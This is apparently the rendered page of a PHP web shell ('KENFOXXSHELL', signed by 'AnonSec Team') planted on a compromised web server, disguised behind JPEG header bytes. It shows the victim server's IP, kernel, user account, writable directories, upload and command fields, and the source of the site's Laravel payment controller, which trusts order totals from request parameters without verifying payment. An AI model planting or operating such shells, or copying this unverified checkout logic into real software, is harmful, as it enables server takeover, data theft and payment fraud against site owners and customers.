ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/app/Http/Controllers/onepay.php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;

use App\Http\Requests\UsersRequest;

use App\Providers\ProductView;

use Illuminate\Support\Facades\Auth;

use Carbon\Carbon;

use App\Products;

use App\NewsLetter;

use App\OrderDetail;

use App\Orders;

use App\Users;

use Input, File;

use DB,Cache,Mail,Session,Cart,Hash;

use App\Prices;
use App\Sizes;
use App\Typematerials;
use App\Materials;
use App\Colors;
use App\Embroiderys;
class onepay extends Controller {

	public function postCheckoutBankOnpay(Request $request){

          $cart = Cart::content();
          $order = new Orders;
            $order->name = $_REQUEST['vpc_Customer_Id'];
            $order->email = $_REQUEST['vpc_Customer_Email'];
            
            $order->district = $_REQUEST['vpc_SHIP_Provice'];
            $order->city = $_REQUEST['vpc_SHIP_City'];
            $order->country = $_REQUEST['vpc_SHIP_Country'];
            
            $order->address = $_REQUEST['vpc_SHIP_Street01'];
            $order->phone = $_REQUEST['vpc_Customer_Phone'];
            $order->total = $_REQUEST['totalPrice'];
            $order->code = 'COD';
            $order->save();
             $thanhtien=0;   
            foreach ($cart as $key => $value) {
                @$product_parent=Products::select('id','sale')->where('id',$value->id)->where('status',1)->first();
                @$chatlieu_don=Materials::select('id')->where('id',$value->options->chatlieu)->first();  
                @$size_don=Sizes::select('id')->where('id',$value->options->size)->first(); 
                @$color_don=Colors::select('id')->where('id',$value->options->color)->first();
                @$mautheu_don=Embroiderys::select('id','price')->where('id',$value->options->mautheu)->first();
                @$minmonney=0;
                                    
                @$im_check=implode(',',$value->options->idpro);
                @$explo_check=explode(',',$im_check);
                    if(count($explo_check)>1){
                        foreach($explo_check as $k=>$item_p){
                            @$chech_pro=Products::select('id')->where('id',$item_p)->where('status',1)->orderBy('id','desc')->first();
                            @$chatlieu=Materials::select('id')->where('id',$value->options->chatlieu[$k])->first();  
                            @$size=Sizes::select('id')->where('id',$value->options->size[$k])->first(); 
                            @$color=Colors::select('id')->where('id',$value->options->color[$k])->first();
                            @$mautheu=Embroiderys::select('id','price')->where('id',$value->options->mautheu[$k])->first();
                            /** tinh tien **/
                            @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu->id)->where('pro_id',$chech_pro->id)->first();
                            @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size->id)->where('pro_id',$chech_pro->id)->first();
                            /** mai làm tiếp 22-3 **/
                            @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$chech_pro->id)->orderBy('price','DESC')->get();
                            foreach(@$pricetest as $i=>$row){
                               if($i == 0){
                                  @$first_item=$row->price;
                                }
                                if($row->price == null){
                                    if(@$price->name == @$row->name){
                                        @$monney=$typemate->price*$row->name*$first_item;
                                    }
                                }else{
                                   @$monney=$typemate->price*$first_item;
                                }
                            }
                            @$price_mt=@$mautheu->price;
                            @$minmonney+=$monney+$price_mt;
                        }
                    } 
                if(count($value->options->chatlieu) < 2){
                    /** tinh tien **/
                    @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_don->id)->where('pro_id',$product_parent->id)->first();
                    @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_don->id)->where('pro_id',$product_parent->id)->first();
                    /** mai làm tiếp 22-3 **/
                    @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$product_parent->id)->orderBy('price','DESC')->get();
                    foreach(@$pricetest as $i=>$row){
                       if($i == 0){
                          @$first_item=$row->price;
                        }
                        if($row->price == null){
                            if(@$price->name == @$row->name){
                                @$monney=$typemate->price*$row->name*$first_item;
                            }
                        }else{
                           @$monney=$typemate->price*$first_item;
                        }
                    }
                    @$price_mt=@$mautheu_don->price;
                    @$minmonney+=$monney+$price_mt; 
                }
                @$imp_sale=implode(',',@$value->options->sale2018);
                @$explo_sale=explode(',',@$imp_sale);
                $min_monney_sale=0;
                if(count($explo_sale)>1){ 
                     foreach($explo_sale as $m=>$sale){
                        @$sale=DB::table("sales")->select()->where('id',$sale)->first();
                        @$chatlieu_sale=DB::table("materials")->select()->where('id',@$value->options->chatlieusale[$m])->first();
                        @$size_sale=DB::table("sizes")->select()->where('id',@$value->options->sizesale[$m])->first();
                        @$color_sale=DB::table("colors")->select()->where('id',@$value->options->colorsale[$m])->first();
                         /** tinh tien hàng khuyến mại **/
                        @$typemate_sale=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_sale->id)->where('sale_id',$sale->id)->first();
                        @$price_sale=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_sale->id)->where('sale_id',$sale->id)->first();
                        @$pricetest_sale=DB::table('prices')->select('price','id','name','size_id')->where('sale_id',$sale->id)->orderBy('price','DESC')->get();
                        
                     
                        foreach(@$pricetest_sale as $p=>$row_sale){
                           if($p == 0){
                              @$first_item_sale=$row_sale->price;
                            }
                            if($row_sale->price == null){
                                if(@$price_sale->name == @$row_sale->name){
                                    @$monney_sale=$typemate_sale->price*$row_sale->name*$first_item_sale;
                                }
                            }else{
                               @$monney_sale=$typemate_sale->price*$first_item_sale;
                            }
                        }
                        @$min_monney_sale+=$monney_sale;   
                     }
                 }   
                 if(!empty($product_parent->sale)){
                        $pricesale_new=$min_monney_sale*$product_parent->sale/100;
                        $sum_sale=$min_monney_sale-$pricesale_new;
                                                                
                }else{ 
                   echo number_format($min_monney_sale,0,",",".");
                } 
              
                    if(!empty($product_parent->sale)){
                            @$pricesale_new=@$min_monney_sale*@$product_parent->sale/100;
                            @$sum_sale=@$min_monney_sale-@$pricesale_new;
                     }else{ 
                        @$sum_sale=@$min_monney_sale;                                    
                    } 
                    //số lẻ chia phần trăn giảm giá  mới làm 27-3-2018 mai làm tiếp
                    if($product_parent->sale > 0){
                       $tienphantram=$minmonney*@$product_parent->sale/100;
                       $nhan=$minmonney-$tienphantram;
                    }else{
                      $nhan=$minmonney;  
                    }
                    @$thanhtien=(@$nhan+@$sum_sale)*$value->qty;
                 
               /** tính tiá»n mua thêm đồ khuyến mại **/
                
                
                $order_detail = new OrderDetail;
                $order_detail->id_order = $order->id;
                $order_detail->id_product = $value->id;
                $order_detail->qty = $value->qty;
                // add thêm nhiá»u thông số 
                if(count($explo_check)>1 ){
                    $order_detail->id_pro_combo = implode(',',@$value->options->idpro);   
                    $order_detail->chatlieu = implode(',',@$value->options->chatlieu);
                    $order_detail->size = implode(',',@$value->options->size);
                    $order_detail->color = implode(',',@$value->options->color);
                    $order_detail->mautheu = implode(',',@$value->options->mautheu);
                    if(count($explo_sale)>1){
                        $order_detail->sale2018 = implode(',',@$value->options->sale2018);
                        $order_detail->chatlieusale = implode(',',@$value->options->chatlieusale);
                        $order_detail->sizesale = implode(',',@$value->options->sizesale);
                        $order_detail->colorsale = implode(',',@$value->options->colorsale);
                    }
                }else{
                    $order_detail->chatlieu = @$chatlieu_don->id;
                    $order_detail->size = @$size_don->id;
                    $order_detail->color = @$color_don->id;
                    $order_detail->mautheu = @$mautheu_don->id; 
                   
                }
                
                // end add them thong so
                $order_detail->totalprice = $thanhtien;
                
                $order_detail->save();
            }
           
            Session::forget('cart');
           
            return redirect('/')->with([
             'toastr_lvl' => 'success',
             'toastr_msg' => 'Äặt hàng thành công'
            ]);
			
    }
    public function getCheckoutBankOnpay(Request $request){
        	// Cấu hình SEO
            session_start();
        $cart = Cart::content();
          $order = new Orders;
            $order->name = $_SESSION['nhan_name'];
            $order->email = $_SESSION['nhan_email'];
            
            $order->district = $_SESSION['nhan_district'];
            $order->city = $_SESSION['nhan_city'];
            $order->country = $_SESSION['nhan_country'];
            
            $order->address = $_SESSION['nhan_street'];
            $order->phone = $_SESSION['nhan_phone'];
            $order->total = @$_GET ["vpc_Amount"]/100;
            $order->code = 'BANK-'.$_SESSION['code'];
            $order->save();
             $thanhtien=0;   
            foreach ($cart as $key => $value) {
                @$product_parent=Products::select('id','sale')->where('id',$value->id)->where('status',1)->first();
                @$chatlieu_don=Materials::select('id')->where('id',$value->options->chatlieu)->first();  
                @$size_don=Sizes::select('id')->where('id',$value->options->size)->first(); 
                @$color_don=Colors::select('id')->where('id',$value->options->color)->first();
                @$mautheu_don=Embroiderys::select('id','price')->where('id',$value->options->mautheu)->first();
                @$minmonney=0;
                                    
                @$im_check=implode(',',$value->options->idpro);
                @$explo_check=explode(',',$im_check);
                    if(count($explo_check)>1){
                        foreach($explo_check as $k=>$item_p){
                            @$chech_pro=Products::select('id')->where('id',$item_p)->where('status',1)->orderBy('id','desc')->first();
                            @$chatlieu=Materials::select('id')->where('id',$value->options->chatlieu[$k])->first();  
                            @$size=Sizes::select('id')->where('id',$value->options->size[$k])->first(); 
                            @$color=Colors::select('id')->where('id',$value->options->color[$k])->first();
                            @$mautheu=Embroiderys::select('id','price')->where('id',$value->options->mautheu[$k])->first();
                            /** tinh tien **/
                            @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu->id)->where('pro_id',$chech_pro->id)->first();
                            @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size->id)->where('pro_id',$chech_pro->id)->first();
                            /** mai làm tiếp 22-3 **/
                            @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$chech_pro->id)->orderBy('price','DESC')->get();
                            foreach(@$pricetest as $i=>$row){
                               if($i == 0){
                                  @$first_item=$row->price;
                                }
                                if($row->price == null){
                                    if(@$price->name == @$row->name){
                                        @$monney=$typemate->price*$row->name*$first_item;
                                    }
                                }else{
                                   @$monney=$typemate->price*$first_item;
                                }
                            }
                            @$price_mt=@$mautheu->price;
                            @$minmonney+=$monney+$price_mt;
                        }
                    } 
                if(count($value->options->chatlieu) < 2){
                    /** tinh tien **/
                    @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_don->id)->where('pro_id',$product_parent->id)->first();
                    @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_don->id)->where('pro_id',$product_parent->id)->first();
                    /** mai làm tiếp 22-3 **/
                    @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$product_parent->id)->orderBy('price','DESC')->get();
                    foreach(@$pricetest as $i=>$row){
                       if($i == 0){
                          @$first_item=$row->price;
                        }
                        if($row->price == null){
                            if(@$price->name == @$row->name){
                                @$monney=$typemate->price*$row->name*$first_item;
                            }
                        }else{
                           @$monney=$typemate->price*$first_item;
                        }
                    }
                    @$price_mt=@$mautheu_don->price;
                    @$minmonney+=$monney+$price_mt; 
                }
                @$imp_sale=implode(',',@$value->options->sale2018);
                @$explo_sale=explode(',',@$imp_sale);
                $min_monney_sale=0;
                if(count($explo_sale)>1){ 
                     foreach($explo_sale as $m=>$sale){
                        @$sale=DB::table("sales")->select()->where('id',$sale)->first();
                        @$chatlieu_sale=DB::table("materials")->select()->where('id',@$value->options->chatlieusale[$m])->first();
                        @$size_sale=DB::table("sizes")->select()->where('id',@$value->options->sizesale[$m])->first();
                        @$color_sale=DB::table("colors")->select()->where('id',@$value->options->colorsale[$m])->first();
                         /** tinh tien hàng khuyến mại **/
                        @$typemate_sale=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_sale->id)->where('sale_id',$sale->id)->first();
                        @$price_sale=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_sale->id)->where('sale_id',$sale->id)->first();
                        @$pricetest_sale=DB::table('prices')->select('price','id','name','size_id')->where('sale_id',$sale->id)->orderBy('price','DESC')->get();
                        
                     
                        foreach(@$pricetest_sale as $p=>$row_sale){
                           if($p == 0){
                              @$first_item_sale=$row_sale->price;
                            }
                            if($row_sale->price == null){
                                if(@$price_sale->name == @$row_sale->name){
                                    @$monney_sale=$typemate_sale->price*$row_sale->name*$first_item_sale;
                                }
                            }else{
                               @$monney_sale=$typemate_sale->price*$first_item_sale;
                            }
                        }
                        @$min_monney_sale+=$monney_sale;   
                     }
                 }   
                 if(!empty($product_parent->sale)){
                        $pricesale_new=$min_monney_sale*$product_parent->sale/100;
                        $sum_sale=$min_monney_sale-$pricesale_new;
                                                                
                }else{ 
                   echo number_format($min_monney_sale,0,",",".");
                } 
              
                    if(!empty($product_parent->sale)){
                            @$pricesale_new=@$min_monney_sale*@$product_parent->sale/100;
                            @$sum_sale=@$min_monney_sale-@$pricesale_new;
                     }else{ 
                        @$sum_sale=@$min_monney_sale;                                    
                    } 
                    //số lẻ chia phần trăn giảm giá  mới làm 27-3-2018 mai làm tiếp
                    if($product_parent->sale > 0){
                       $tienphantram=$minmonney*@$product_parent->sale/100;
                       $nhan=$minmonney-$tienphantram;
                    }else{
                      $nhan=$minmonney;  
                    }
                    @$thanhtien=(@$nhan+@$sum_sale)*$value->qty;
                 
               /** tính tiá»n mua thêm đồ khuyến mại **/
                
                
                $order_detail = new OrderDetail;
                $order_detail->id_order = $order->id;
                $order_detail->id_product = $value->id;
                $order_detail->qty = $value->qty;
                // add thêm nhiá»u thông số 
                if(count($explo_check)>1 ){
                    $order_detail->id_pro_combo = implode(',',@$value->options->idpro);   
                    $order_detail->chatlieu = implode(',',@$value->options->chatlieu);
                    $order_detail->size = implode(',',@$value->options->size);
                    $order_detail->color = implode(',',@$value->options->color);
                    $order_detail->mautheu = implode(',',@$value->options->mautheu);
                    if(count($explo_sale)>1){
                        $order_detail->sale2018 = implode(',',@$value->options->sale2018);
                        $order_detail->chatlieusale = implode(',',@$value->options->chatlieusale);
                        $order_detail->sizesale = implode(',',@$value->options->sizesale);
                        $order_detail->colorsale = implode(',',@$value->options->colorsale);
                    }
                }else{
                    $order_detail->chatlieu = @$chatlieu_don->id;
                    $order_detail->size = @$size_don->id;
                    $order_detail->color = @$color_don->id;
                    $order_detail->mautheu = @$mautheu_don->id; 
                   
                }
                
                // end add them thong so
                $order_detail->totalprice = $thanhtien;
                
                $order_detail->save();
            }
            Session::forget('cart');
           
            return redirect('/')->with([
             'toastr_lvl' => 'success',
             'toastr_msg' => 'Thanh toán đơn hàng online thành công! Chúng tôi sẽ liên hệ vá»›i quý khách trong thá»i gian sá»›m nhất.'
            ]);
         
            unset($_SESSION['nhan_name']);unset($_SESSION['nhan_email']);unset($_SESSION['nhan_district']);unset($_SESSION['nhan_city']);unset($_SESSION['nhan_country']);
            unset($_SESSION['nhan_street']);unset($_SESSION['nhan_phone']);unset($_SESSION['code']);
    }  
      
    public function postCheckoutBankOnpayInternational(Request $request){
        	// Cấu hình SEO
            session_start();
        $cart = Cart::content();
          $order = new Orders;
            $order->name = $_SESSION['nhan_name'];
            $order->email = $_SESSION['nhan_email'];
            
            $order->district = $_SESSION['nhan_district'];
            $order->city = $_SESSION['nhan_city'];
            $order->country = $_SESSION['nhan_country'];
            
            $order->address = $_SESSION['nhan_street'];
            $order->phone = $_SESSION['nhan_phone'];
            $order->total = @$_GET ["vpc_Amount"]/100;
            $order->code = 'QT-'.$_SESSION['code'];
            $order->save();
             $thanhtien=0;   
            foreach ($cart as $key => $value) {
                @$product_parent=Products::select('id','sale')->where('id',$value->id)->where('status',1)->first();
                @$chatlieu_don=Materials::select('id')->where('id',$value->options->chatlieu)->first();  
                @$size_don=Sizes::select('id')->where('id',$value->options->size)->first(); 
                @$color_don=Colors::select('id')->where('id',$value->options->color)->first();
                @$mautheu_don=Embroiderys::select('id','price')->where('id',$value->options->mautheu)->first();
                @$minmonney=0;
                                    
                @$im_check=implode(',',$value->options->idpro);
                @$explo_check=explode(',',$im_check);
                    if(count($explo_check)>1){
                        foreach($explo_check as $k=>$item_p){
                            @$chech_pro=Products::select('id')->where('id',$item_p)->where('status',1)->orderBy('id','desc')->first();
                            @$chatlieu=Materials::select('id')->where('id',$value->options->chatlieu[$k])->first();  
                            @$size=Sizes::select('id')->where('id',$value->options->size[$k])->first(); 
                            @$color=Colors::select('id')->where('id',$value->options->color[$k])->first();
                            @$mautheu=Embroiderys::select('id','price')->where('id',$value->options->mautheu[$k])->first();
                            /** tinh tien **/
                            @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu->id)->where('pro_id',$chech_pro->id)->first();
                            @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size->id)->where('pro_id',$chech_pro->id)->first();
                            /** mai làm tiếp 22-3 **/
                            @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$chech_pro->id)->orderBy('price','DESC')->get();
                            foreach(@$pricetest as $i=>$row){
                               if($i == 0){
                                  @$first_item=$row->price;
                                }
                                if($row->price == null){
                                    if(@$price->name == @$row->name){
                                        @$monney=$typemate->price*$row->name*$first_item;
                                    }
                                }else{
                                   @$monney=$typemate->price*$first_item;
                                }
                            }
                            @$price_mt=@$mautheu->price;
                            @$minmonney+=$monney+$price_mt;
                        }
                    } 
                if(count($value->options->chatlieu) < 2){
                    /** tinh tien **/
                    @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_don->id)->where('pro_id',$product_parent->id)->first();
                    @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_don->id)->where('pro_id',$product_parent->id)->first();
                    /** mai làm tiếp 22-3 **/
                    @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$product_parent->id)->orderBy('price','DESC')->get();
                    foreach(@$pricetest as $i=>$row){
                       if($i == 0){
                          @$first_item=$row->price;
                        }
                        if($row->price == null){
                            if(@$price->name == @$row->name){
                                @$monney=$typemate->price*$row->name*$first_item;
                            }
                        }else{
                           @$monney=$typemate->price*$first_item;
                        }
                    }
                    @$price_mt=@$mautheu_don->price;
                    @$minmonney+=$monney+$price_mt; 
                }
                @$imp_sale=implode(',',@$value->options->sale2018);
                @$explo_sale=explode(',',@$imp_sale);
                $min_monney_sale=0;
                if(count($explo_sale)>1){ 
                     foreach($explo_sale as $m=>$sale){
                        @$sale=DB::table("sales")->select()->where('id',$sale)->first();
                        @$chatlieu_sale=DB::table("materials")->select()->where('id',@$value->options->chatlieusale[$m])->first();
                        @$size_sale=DB::table("sizes")->select()->where('id',@$value->options->sizesale[$m])->first();
                        @$color_sale=DB::table("colors")->select()->where('id',@$value->options->colorsale[$m])->first();
                         /** tinh tien hàng khuyến mại **/
                        @$typemate_sale=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_sale->id)->where('sale_id',$sale->id)->first();
                        @$price_sale=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_sale->id)->where('sale_id',$sale->id)->first();
                        @$pricetest_sale=DB::table('prices')->select('price','id','name','size_id')->where('sale_id',$sale->id)->orderBy('price','DESC')->get();
                        
                     
                        foreach(@$pricetest_sale as $p=>$row_sale){
                           if($p == 0){
                              @$first_item_sale=$row_sale->price;
                            }
                            if($row_sale->price == null){
                                if(@$price_sale->name == @$row_sale->name){
                                    @$monney_sale=$typemate_sale->price*$row_sale->name*$first_item_sale;
                                }
                            }else{
                               @$monney_sale=$typemate_sale->price*$first_item_sale;
                            }
                        }
                        @$min_monney_sale+=$monney_sale;   
                     }
                 }   
                 if(!empty($product_parent->sale)){
                        $pricesale_new=$min_monney_sale*$product_parent->sale/100;
                        $sum_sale=$min_monney_sale-$pricesale_new;
                                                                
                }else{ 
                   echo number_format($min_monney_sale,0,",",".");
                } 
              
                    if(!empty($product_parent->sale)){
                            @$pricesale_new=@$min_monney_sale*@$product_parent->sale/100;
                            @$sum_sale=@$min_monney_sale-@$pricesale_new;
                     }else{ 
                        @$sum_sale=@$min_monney_sale;                                    
                    } 
                    //số lẻ chia phần trăn giảm giá  mới làm 27-3-2018 mai làm tiếp
                    if($product_parent->sale > 0){
                       $tienphantram=$minmonney*@$product_parent->sale/100;
                       $nhan=$minmonney-$tienphantram;
                    }else{
                      $nhan=$minmonney;  
                    }
                    @$thanhtien=(@$nhan+@$sum_sale)*$value->qty;
                 
               /** tính tiá»n mua thêm đồ khuyến mại **/
                
                
                $order_detail = new OrderDetail;
                $order_detail->id_order = $order->id;
                $order_detail->id_product = $value->id;
                $order_detail->qty = $value->qty;
                // add thêm nhiá»u thông số 
                if(count($explo_check)>1 ){
                    $order_detail->id_pro_combo = implode(',',@$value->options->idpro);   
                    $order_detail->chatlieu = implode(',',@$value->options->chatlieu);
                    $order_detail->size = implode(',',@$value->options->size);
                    $order_detail->color = implode(',',@$value->options->color);
                    $order_detail->mautheu = implode(',',@$value->options->mautheu);
                    if(count($explo_sale)>1){
                        $order_detail->sale2018 = implode(',',@$value->options->sale2018);
                        $order_detail->chatlieusale = implode(',',@$value->options->chatlieusale);
                        $order_detail->sizesale = implode(',',@$value->options->sizesale);
                        $order_detail->colorsale = implode(',',@$value->options->colorsale);
                    }
                }else{
                    $order_detail->chatlieu = @$chatlieu_don->id;
                    $order_detail->size = @$size_don->id;
                    $order_detail->color = @$color_don->id;
                    $order_detail->mautheu = @$mautheu_don->id; 
                   
                }
                
                // end add them thong so
                $order_detail->totalprice = $thanhtien;
                
                $order_detail->save();
            }
            Session::forget('cart');
           
            return redirect('/')->with([
             'toastr_lvl' => 'success',
             'toastr_msg' => 'Thanh toán đơn hàng online quốc tế thành công! Chúng tôi sẽ liên hệ vá»›i quý khách trong thá»i gian sá»›m nhất.'
            ]);
         
            unset($_SESSION['nhan_name']);unset($_SESSION['nhan_email']);unset($_SESSION['nhan_district']);unset($_SESSION['nhan_city']);unset($_SESSION['nhan_country']);
            unset($_SESSION['nhan_street']);unset($_SESSION['nhan_phone']);unset($_SESSION['code']);
    }
}

/**************************************************************/

Anon7 - 2022
AnonSec Team